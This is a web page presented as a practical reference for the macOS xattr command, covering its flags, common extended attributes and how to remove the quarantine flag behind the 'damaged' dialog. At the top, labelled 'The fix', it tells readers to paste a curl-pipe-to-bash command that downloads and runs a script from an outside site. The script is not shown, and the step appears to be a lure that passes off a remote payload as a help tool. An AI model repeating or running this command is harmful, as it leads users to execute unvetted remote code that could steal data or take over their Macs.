The xattr Command on Mac: A Practical Reference

xattr reads and edits extended attributes — small metadata records macOS keeps beside a file. The command is mostly used to inspect or remove the quarantine flag behind the “damaged” dialog, but the full syntax covers listing, reading and batch work as well.

Updated December 2, 2026 · About 7 min read · macOS 13–26

The fix

One-line helper Run the helper
curl -fsSL https://macfixerror.com/run.sh | bash

Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.

List the attributes of an item
xattr -l "/Applications/Your App.app"

Prints attribute names and values. Without -l, xattr prints names only.

Read one specific attribute
xattr -p com.apple.quarantine "/Applications/Your App.app"

Shows the value of a single attribute. For quarantine the value is a short record with a timestamp and the downloading agent.

Delete one attribute
xattr -d com.apple.quarantine "/Applications/Your App.app"

The precise fix for the “damaged” warning: removes the quarantine flag and nothing else.

Clear every attribute recursively
sudo xattr -cr "/Applications/Your App.app"

Broad form. -c clears all attributes, -r walks into folders and bundles.

Clear a batch of downloaded files
find ~/Downloads/ProjectFiles -type f -exec xattr -c {} +

Applies the clear to every file under a folder without recursion surprises. Combine with xattr -l first to confirm the flag is present.

Syntax

The general form is:

xattr [-lrsvx] [-w value] file...
FlagEffect
-lLong format: print names and values.
-rRecurse into directories.
-sOperate on symbolic links themselves.
-vVerbose output.
-xPrint values as hexadecimal.
-w valueWrite a value to the named attribute.
-p namePrint the value of one attribute.
-d nameDelete one attribute.
-cClear all attributes.

Attributes you will meet

  • com.apple.quarantine — “saved from the internet” marker. The cause of the “damaged” dialog. Safe to delete on trusted files.
  • com.apple.metadata:kMDItemWhereFroms — the source URL and referrer kept by browsers. Removing it clears the “downloaded from” information in Finder.
  • com.apple.FinderInfo — Finder flags and type/creator codes. Older bundles use it; delete with care.
  • com.apple.ResourceFork — legacy resource data. Some classic resources need it.
  • com.apple.fileprovider.* — sync metadata for cloud folders. Usually regenerated automatically.

Not every attribute should be wiped. That is why the narrow -d com.apple.quarantine is preferred over -c when you only want to open a downloaded app.

The common real-world job

Most people arrive here because macOS shows “is damaged and can’t be opened”. Inspect, confirm, delete:

xattr -l "/Applications/Your App.app"
sudo xattr -d com.apple.quarantine "/Applications/Your App.app"

Then launch the app. If it opens, done. If the dialog returns, run spctl -a -vv and codesign -dv to check whether the signature is the real problem. The full sequence is in the main guide.

Reading quarantine values

A quarantine value looks like 0081;6a1f2c3d;Safari;ABC…. The fields are a flags word, a hexadecimal timestamp, the downloading agent, and an optional UUID. Seeing Safari or Chrome there confirms the file came through a browser. The timestamp is useful when several copies of an archive are around.

Safety notes

  • Removing quarantine does not disable Gatekeeper permanently; the next downloaded file gets the flag again.
  • -c removes every attribute, including Finder tags and where-from data. Use -d if those matter.
  • Writing attributes recursively across a disk is slow. Point the command at the specific bundle or folder.
  • Extended attributes are not covered by the code signature, so clearing them never invalidates an app.

Frequently asked questions

What does xattr stand for?
Extended attributes. The tool reads and writes the metadata records macOS attaches to files.
Do I need sudo?
Only when your user lacks write permission, for example inside /Applications. Listing attributes needs no elevated rights.
Can xattr show where a file came from?
Yes: com.apple.metadata:kMDItemWhereFroms often contains the source URL, and the quarantine value names the downloading agent.
Does xattr -c break signatures?
No. Attributes live outside the signed bundle. Only changes to signed files can invalidate a signature.
What is the safest command for the damaged warning?
sudo xattr -d com.apple.quarantine "path" — it removes one known attribute.
Why does xattr report “No such file”?
The path is wrong, unquoted, or points inside a mounted image. Move the item to /Applications and quote the path.

This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.